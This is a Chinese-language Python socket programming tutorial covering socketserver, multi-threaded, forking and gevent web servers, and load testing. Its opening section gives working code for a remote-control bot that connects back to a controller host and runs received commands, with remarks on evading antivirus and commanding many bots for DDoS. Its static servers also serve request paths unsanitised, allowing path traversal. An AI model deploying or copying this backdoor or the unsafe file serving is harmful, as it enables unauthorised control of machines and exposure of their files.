萬物互聯之~網絡編程增強篇

 

增強篇

1.引入

ShellCode

上節寫了個端口掃描器,此次寫個ShellCode回顧下上節內容html

肉雞端:python

#!/usr/bin/env python3
import sys
import subprocess
from socket import socket

def exec(cmd):
    try:
        process = subprocess.Popen([cmd],
                                   stdin=subprocess.PIPE,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE)
        return process.communicate()
    except Exception as ex:
        print(ex)

def main():
    # 不寫死是防止遠程服務器被封后就失效
    ip = "192.168.1.109" or sys.argv[1]
    with socket() as tcp_socket:
        # 鏈接遠控服務器
        tcp_socket.connect((ip, 8080))
        while True:
            data = tcp_socket.recv(2048)
            if data:
                cmd = data.decode("utf-8")
                stdout, stderr = exec(cmd)
                if stderr:
                    tcp_socket.send(stderr)
                if stdout:
                    tcp_socket.send(stdout)

if __name__ == "__main__":
    main()

服務端:web

from socket import socket

def main():
    with socket() as tcp_socket:
        tcp_socket.bind(('', 8080))
        tcp_socket.listen()
        client_socket, client_addr = tcp_socket.accept()
        with client_socket:
            print(f"[肉雞{client_addr}已經上線:]\n")
            while True:
                cmd = input("$ ")
                client_socket.send(cmd.encode("utf-8"))
                data = client_socket.recv(2048)
                if data:
                    print(data.decode("utf-8"))

if __name__ == "__main__":
    main()

演示效果: 1.shell_code.gifshell

可能有人會說,肉雞設置爲Server,本身遠控登陸貌似更簡單吧?可是有沒有想過:編程

  1. 客戶端越複雜,那麼被查殺的可能就越大
  2. 若是你肉雞無數,如今須要DDOS某站。你是所有鏈接併發送指令方便,仍是直接一條指令所有執行方便?

課後拓展:瀏覽器

如何建立反向Shell來執行遠程Root命令
http://os.51cto.com/art/201312/424378.htm

擴展

  1. 獲取網站的IP:
    • socket.gethostbyname("網站URL")
  2. 返回主機的真實主機名,別名列表和IP地址列表
    • socket.gethostbyname_ex

2.更便捷的服務端實現方法

上節留下了一個懸念:有沒有更方便的方式來實現服務端?此次揭曉一下:服務器

Python底層其實基於Select實現了一套SocketServer,下面來看看:(如今大部分都是epollaio網絡

SocketServer官方圖示以及一些經常使用方法:多線程

+------------+
        | BaseServer |
        +------------+
              |
              v
        +-----------+        +------------------+
        | TCPServer |------->| UnixStreamServer |
        +-----------+        +------------------+
              |
              v
        +-----------+        +--------------------+
        | UDPServer |------->| UnixDatagramServer |
        +-----------+        +--------------------+


__all__ = ["BaseServer", "TCPServer", "UDPServer",
           "ThreadingUDPServer", "RequestHandler",
           "BaseRequestHandler", "StreamRequestHandler",
           "DatagramRequestHandler", "ThreadingMixIn"]

TCP

基礎案例

Python所有封裝好了,只要繼承下BaseRequestHandler本身定義一下handle處理方法便可:併發

from socketserver import BaseRequestHandler, TCPServer

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[來自{self.client_address}的消息:]\n")
        data = self.request.recv(2048)
        if data:
            print(data.decode("utf-8"))
        self.request.send(b'HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server Test</h1>')

def main():
    with TCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()  # 期待服務器並執行自定義的Handler方法
        # 不啓動也可使用client_socket, client_address = server.get_request()來自定義處理

if __name__ == "__main__":
    main()

效果以下: 1.tcpserver.gif

擴展案例

換個處理器也是很方便的事情,好比這個類文件IO的案例:

SocketServer.StreamRequestHandler中對客戶端發過來的數據是用rfile屬性來處理的,rfile是一個類file對象.有緩衝.能夠按行分次讀取;發往客戶端的數據經過wfile屬性來處理,wfile不緩衝數據,對客戶端發送的數據需一次性寫入.

服務器:

from time import sleep
from socketserver import TCPServer, StreamRequestHandler

class MyHandler(StreamRequestHandler):
    def handle(self):
        print(f"[來自{self.client_address}的消息:]\n")
        # 接受來自客戶端的IO流( 相似於打開IO,等待對方寫)
        # self.rfile = self.request.makefile('rb', self.rbufsize)
        for line in self.rfile:  # 阻塞等
            print(f"接受到的數據:{line}")
            # 發送給客戶端(相似於寫給對方)
            self.wfile.write(line)
            sleep(0.2)  # 爲了演示方便而加

def main():
    with TCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

if __name__ == "__main__":
    main()

客戶端:

from time import sleep
from socket import socket, SOL_SOCKET, SO_REUSEADDR

def main():
    with socket() as tcp_socket:
        tcp_socket.connect(('', 8080))
        with open("1.tcp.py", "rb") as fs:
            while True:
                data = fs.readline()
                if data:
                    tcp_socket.send(data)
                else:
                    break
        while True:
            data = tcp_socket.recv(2048)
            if data:
                print(data.decode("utf-8"))
                sleep(0.2)  # 爲了演示方便而加

if __name__ == "__main__":
    main()

輸出:(一行一行顯示出來) 1.streamtest

其實還能夠經過設置其餘的類變量來支持一些新的特性:

import socket
from socketserver import TCPServer, StreamRequestHandler

class MyHandler(StreamRequestHandler):
    # 可選設置(下面的是默認值)
    timeout = 5  # 全部socket超時時間
    rbufsize = -1  # 讀緩衝區大小
    wbufsize = 0  # 寫緩衝區大小
    disable_nagle_algorithm = False  # 設置TCP無延遲選項

    def handle(self):
        print(f"[來自{self.client_address}的消息:]\n")
        # 接受來自客戶端的IO流(相似於打開IO,等待對方寫)
        try:
            for line in self.rfile:  # 阻塞等
                print(f"接受到的數據:{line}")
                # 發送給客戶端(相似於寫給對方)
                self.wfile.write(line)
        except socket.timeout as ex:
            print("---" * 10, "網絡超時", "---" * 10)
            print(ex)
            print("---" * 10, "網絡超時", "---" * 10)

def main():
    with TCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

if __name__ == "__main__":
    main()

效果: 1.stream_ext.png

業餘拓展:

http://a564941464.iteye.com/blog/1170464
https://www.cnblogs.com/txwsqk/articles/2909546.html
https://blog.csdn.net/tycoon1988/article/details/39990403
https://hg.python.org/cpython/file/tip/Lib/socketserver.py

增強案例

上面說的方法是最基礎的,也是單線程的,對於如今這個高併發的時代確定是吃不消的,那有沒有併發模式的呢?

先結合之前併發編程來個案例:(改爲多進程也行,Nginx就是多進程的)

from multiprocessing.dummy import threading
from socketserver import TCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[來自{self.client_address}的消息:]\n")
        data = self.request.recv(2048)
        if data:
            print(data.decode("utf-8"))
        self.request.send(
            "HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server</h1>".encode("utf-8"))

if __name__ == "__main__":
    with TCPServer(('', 8080), MyHandler) as server:
        for _ in range(10):  # 指定線程數
            t = threading.Thread(target=server.serve_forever)
            t.setDaemon(True)
            t.start()
        server.serve_forever()

使用Python封裝的方法:(還記得開頭貼的一些方法名和類名嗎?__all__ = [...]

多線程版:(變TCPServerThreadingTCPServer

from socketserver import ThreadingTCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[來自{self.client_address}的消息:]\n")
        data = self.request.recv(2048)
        if data:
            print(data.decode("utf-8"))
        self.request.send(
            "HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server Threading</h1>".encode("utf-8"))

if __name__ == "__main__":
    with ThreadingTCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

多進程版:(變TCPServerForkingTCPServer

from socketserver import ForkingTCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[來自{self.client_address}的消息:]\n")
        data = self.request.recv(2048)
        if data:
            print(data.decode("utf-8"))
        self.request.send(
            "HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server Forking</h1>".encode("utf-8"))

if __name__ == "__main__":
    with ForkingTCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

雖然簡單了,可是有一個注意點:

使用fork或線程服務器有個潛在問題就是它們會爲每一個客戶端鏈接建立一個新的進程或線程。 因爲客戶端鏈接數是沒有限制的,DDOS可能就須要注意了

若是你擔憂這個問題,你能夠建立一個預先分配大小的工做線程池或進程池。你先建立一個普通的非線程服務器,而後在一個線程池中使用serve_forever()方法來啓動它們(也就是咱們一開始結合併發編程舉的例子

UDP

UDP的就簡單提一下,來看個簡單案例:

服務器:

from socketserver import UDPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[來自{self.client_address}的消息:]\n")
        data, socket = self.request
        with socket:
            if data:
                print(data.decode("utf-8"))
            socket.sendto("行啊,小張晚上我請你吃~".encode("utf-8"), self.client_address)

def main():
    with UDPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

if __name__ == "__main__":
    main()

客戶端:

from socket import socket, AF_INET, SOCK_DGRAM

def main():
    with socket(AF_INET, SOCK_DGRAM) as udp_socket:
        udp_socket.sendto("小明,今晚去喝碗羊肉湯?".encode("utf-8"), ('', 8080))
        data, addr = udp_socket.recvfrom(1024)
        print(f"[來自{addr}的消息:]\n")
        if data:
            print(data.decode("utf-8"))

if __name__ == "__main__":
    main()

演示:(想要多線程或者多進程就本身改下名字便可,很簡單) 1.udpserver.gif


手寫服務器

上面使用了Python幫咱們封裝的服務器,如今手寫一個簡單版的Server

from socket import socket

def main():
    with socket() as tcp_socket:
        # 綁定端口
        tcp_socket.bind(('', 8080))
        # 監聽
        tcp_socket.listen()
        # 等待
        client_socket, client_address = tcp_socket.accept()
        # 收發數據
        with client_socket:
            print(f"[來自{client_address}的消息:\n")
            msg = client_socket.recv(2048)
            if msg:
                print(msg.decode("utf-8"))
            client_socket.send(
                """HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>哈哈哈</h1>"""
                .encode("utf-8"))

if __name__ == "__main__":
    main()

服務器響應:(請求頭就靠\r\n\r\n來分隔了) 1.test.png

瀏覽器請求:(charset=utf-81.test_server.png

擴展:Linux端口被佔用的解決

參考文章:Linux端口被佔用的解決(附Python專版)

手寫版解決

from socket import socket, SOL_SOCKET, SO_REUSEADDR

def main():
    with socket() as tcp_socket:
        # 防止端口占用
        tcp_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        # 綁定端口
        tcp_socket.bind(('', 8080))
        # 監聽
        tcp_socket.listen()
        # 等待
        client_socket, client_address = tcp_socket.accept()
        # 收發消息
        with client_socket:
            print(f"[來自{client_address}的消息:\n")
            msg = client_socket.recv(2048)
            if msg:
                print(msg.decode("utf-8"))
            client_socket.send(
                """HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>哈哈哈</h1>"""
                .encode("utf-8"))

if __name__ == "__main__":
    main()

服務器版解決

from socket import SOL_SOCKET, SO_REUSEADDR
from socketserver import ThreadingTCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[來自{self.client_address}的消息:]")
        data = self.request.recv(2048)
        print(data)
        self.request.send(
            "HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>小明,晚上吃魚湯嗎?</h1>"
            .encode("utf-8"))

def main():
    # bind_and_activate=False 手動綁定和激活
    with ThreadingTCPServer(('', 8080), MyHandler, False) as server:
        # 防止端口占用
        server.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        server.server_bind()  # 本身綁定
        server.server_activate()  # 本身激活
        server.serve_forever()

if __name__ == "__main__":
    main()

解決前: 1.server_port_error.gif

解決後: 1.server_port.gif

這個就涉及到TCP4次揮手相關的內容了,若是不是長鏈接,你先斷開客戶端,再斷開服務端就不會遇到這個問題了,具體問題下次繼續探討~

簡化擴展(推薦)

雖然簡化了,但有時候也會出現端口占用的狀況(不多出現

from socket import SOL_SOCKET, SO_REUSEADDR
from socketserver import ThreadingTCPServer, BaseRequestHandler

class MyHandler(BaseRequestHandler):
    def handle(self):
        print(f"[來自{self.client_address}的消息:]")
        data = self.request.recv(2048)
        print(data)
        self.request.send(
            "HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>小明,晚上吃魚湯嗎?</h1>"
            .encode("utf-8"))

def main():
    # 防止端口占用
    ThreadingTCPServer.allow_reuse_address = True
    with ThreadingTCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

if __name__ == "__main__":
    main()

源碼比較簡單,一看就懂:

def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True):
    BaseServer.__init__(self, server_address, RequestHandlerClass)
    self.socket = socket.socket(self.address_family,
                                self.socket_type)
    if bind_and_activate:
        try:
            # 看這
            self.server_bind()
            self.server_activate()
        except:
            self.server_close()
            raise

def server_bind(self):
    # 看這
    if self.allow_reuse_address:
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    self.socket.bind(self.server_address)
    self.server_address = self.socket.getsockname()

下級預估:Linux 5種 IO模型(這邊的Select也是其中的一種)

 

3.Web服務器

上節回顧

藉着SocketServer的靈感,再結合OOP,來一個簡單案例:

import socket

class WebServer(object):
    def __init__(self):
        with socket.socket() as tcp_socket:
            # 防止端口占用
            tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # 綁定端口
            tcp_socket.bind(('', 8080))
            # 監聽
            tcp_socket.listen()
            # 等待客戶端鏈接
            while True:
                self.client_socket, self.client_addr = tcp_socket.accept()
                self.handle()

    def handle(self):
        with self.client_socket:
            print(f"[來自{self.client_addr}的消息:")
            data = self.client_socket.recv(2048)
            if data:
                print(data.decode("utf-8"))
                self.client_socket.send(
                    b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>Web Server Test</h1>"
                )

if __name__ == "__main__":
    WebServer()

效果: 2.webserver.png

下面就本身手寫幾種服務器並測試一下,先貼結果再細看

JMeter壓測

安裝:sudo apt install jmeter

配置說明

使用三步走:

  1. 模擬用戶,設置請求頁面
    • 2.模擬用戶設置請求頁面.gif
  2. 設置監控內容
    • 2.設置監控內容.gif
  3. 運行並查看結果
    • 2.運行並查看結果.gif

額外說下開始的配置: 2.測試1.png 2.測試2.png

結果

對上面服務器簡單測試下:(實際結果只會比我老電腦性能高) 3.多進程.png 3.socketserver 3.多線程.png 3.協程.png

自帶版靜態服務器

import os
import re
import socketserver

class MyHandler(socketserver.BaseRequestHandler):
    # 處理請求
    def handle(self):
        with self.request:
            print(f"[來自{self.client_address}的消息:")
            data = self.request.recv(2048)
            if data:
                msg, _ = data.decode("utf-8").split("\r\n", 1)
                self.respose(msg)

    # 相應瀏覽器
    def respose(self, msg):
        # GET (/xxx.html) HTTP/1.1
        # 不匹配開頭結尾也行:re.match("[^/]+(/[^ ]*).+", msg)
        filename = "/index.html"
        ret = re.match("^[^/]+(/[^ ]*).+$", msg)
        if ret:
            page = ret.group(1)  # 請求頁面
            if not page == "/":
                filename = page

        # 獲取本地文件
        data = self.read_file(filename)
        # 回覆瀏覽器
        self.request.send(
            b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n"
        )
        self.request.send(data)

    # 獲取本地文件內容
    def read_file(self, filename):
        print("請求頁面:", filename)
        path = f"./root{filename}"
        # 沒有這個文件就定位到404頁面
        if not os.path.exists(path):
            path = "./root/404.html"
        print("本地路徑:", path)
        # 讀取頁面並返回
        with open(path, "rb") as fs:
            return fs.read()

if __name__ == "__main__":
    socketserver.ThreadingTCPServer.allow_reuse_address = True
    with socketserver.ThreadingTCPServer(('', 8080), MyHandler) as server:
        server.serve_forever()

多進程版靜態服務器

import os
import re
import socket
from multiprocessing import Process

class WebServer(object):
    def __init__(self):
        with socket.socket() as tcp_socket:
            # 防止端口占用
            tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # 綁定端口
            tcp_socket.bind(('', 8080))
            # 監聽
            tcp_socket.listen()
            # 等待客戶端鏈接
            while True:
                self.client_socket, self.client_addr = tcp_socket.accept()
                t = Process(target=self.handle)
                t.daemon = True
                t.run()

    # 處理請求
    def handle(self):
        with self.client_socket:
            print(f"[來自{self.client_addr}的消息:")
            data = self.client_socket.recv(2048)
            if data:
                msg, _ = data.decode("utf-8").split("\r\n", 1)
                self.respose(msg)

    # 相應瀏覽器
    def respose(self, msg):
        # GET (/xxx.html) HTTP/1.1
        # 不匹配開頭結尾也行:re.match("[^/]+(/[^ ]*).+", msg)
        filename = "/index.html"
        ret = re.match("^[^/]+(/[^ ]*).+$", msg)
        if ret:
            page = ret.group(1)  # 請求頁面
            if not page == "/":
                filename = page

        # 獲取本地文件
        data = self.read_file(filename)
        # 回覆瀏覽器
        self.client_socket.send(
            b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n"
        )
        self.client_socket.send(data)

    # 獲取本地文件內容
    def read_file(self, filename):
        print("請求頁面:", filename)
        path = f"./root{filename}"
        # 沒有這個文件就定位到404頁面
        if not os.path.exists(path):
            path = "./root/404.html"
        print("本地路徑:", path)
        # 讀取頁面並返回
        with open(path, "rb") as fs:
            return fs.read()

if __name__ == "__main__":
    WebServer()

多線程版靜態服務器

以前有講過multiprocessing.dummyProcess實際上是基於線程的,就再也不重複了

來個多線程版的:(其實就把multiprocessing.dummy換成了multiprocessing)

import os
import re
import socket
from multiprocessing.dummy import Process

class WebServer(object):
    def __init__(self):
        with socket.socket() as tcp_socket:
            # 防止端口占用
            tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # 綁定端口
            tcp_socket.bind(('', 8080))
            # 監聽
            tcp_socket.listen()
            # 等待客戶端鏈接
            while True:
                self.client_socket, self.client_addr = tcp_socket.accept()
                t = Process(target=self.handle)
                t.daemon = True
                t.run()

    # 處理請求
    def handle(self):
        with self.client_socket:
            print(f"[來自{self.client_addr}的消息:")
            data = self.client_socket.recv(2048)
            if data:
                msg, _ = data.decode("utf-8").split("\r\n", 1)
                self.respose(msg)

    # 相應瀏覽器
    def respose(self, msg):
        # GET (/xxx.html) HTTP/1.1
        # 不匹配開頭結尾也行:re.match("[^/]+(/[^ ]*).+", msg)
        filename = "/index.html"
        ret = re.match("^[^/]+(/[^ ]*).+$", msg)
        if ret:
            page = ret.group(1)  # 請求頁面
            if not page == "/":
                filename = page

        # 獲取本地文件
        data = self.read_file(filename)
        # 回覆瀏覽器
        self.client_socket.send(
            b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n"
        )
        self.client_socket.send(data)

    # 獲取本地文件內容
    def read_file(self, filename):
        print("請求頁面:", filename)
        path = f"./root{filename}"
        # 沒有這個文件就定位到404頁面
        if not os.path.exists(path):
            path = "./root/404.html"
        print("本地路徑:", path)
        # 讀取頁面並返回
        with open(path, "rb") as fs:
            return fs.read()

if __name__ == "__main__":
    WebServer()

演示圖示: 2.webserver2.gif

協程版靜態服務器

這個比較簡單,併發編程中的協程篇有講,這邊簡單說下:

  1. import gevent
  2. from gevent import monkey
    • monkey不在__all__中,須要本身導入
  3. monkey.patch_all()打個補丁
  4. gevent.spawn(方法名,參數)
import os
import re
import socket
import gevent
from gevent import monkey  # monkey不在__all__中,須要本身導入

# 》》》看這
monkey.patch_all()  # 打補丁

class WebServer(object):
    def __init__(self):
        with socket.socket() as tcp_socket:
            # 防止端口占用
            tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # 綁定端口
            tcp_socket.bind(('', 8080))
            # 監聽
            tcp_socket.listen()
            # 等待客戶端鏈接
            while True:
                self.client_socket, self.client_addr = tcp_socket.accept()
                # 》》》看這
                t = gevent.spawn(self.handle)
                t.daemon = True
                t.run()

    # 處理請求
    def handle(self):
        with self.client_socket:
            print(f"[來自{self.client_addr}的消息:")
            data = self.client_socket.recv(2048)
            if data:
                msg, _ = data.decode("utf-8").split("\r\n", 1)
                self.respose(msg)

    # 相應瀏覽器
    def respose(self, msg):
        # GET (/xxx.html) HTTP/1.1
        # 不匹配開頭結尾也行:re.match("[^/]+(/[^ ]*).+", msg)
        filename = "/index.html"
        ret = re.match("^[^/]+(/[^ ]*).+$", msg)
        if ret:
            page = ret.group(1)  # 請求頁面
            if not page == "/":
                filename = page

        # 獲取本地文件
        data = self.read_file(filename)
        # 回覆瀏覽器
        self.client_socket.send(
            b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n"
        )
        self.client_socket.send(data)

    # 獲取本地文件內容
    def read_file(self, filename):
        print("請求頁面:", filename)
        path = f"./root{filename}"
        # 沒有這個文件就定位到404頁面
        if not os.path.exists(path):
            path = "./root/404.html"
        print("本地路徑:", path)
        # 讀取頁面並返回
        with open(path, "rb") as fs:
            return fs.read()

if __name__ == "__main__":
    WebServer()

下次會進入網絡的深刻篇

相關文章
相關標籤/搜索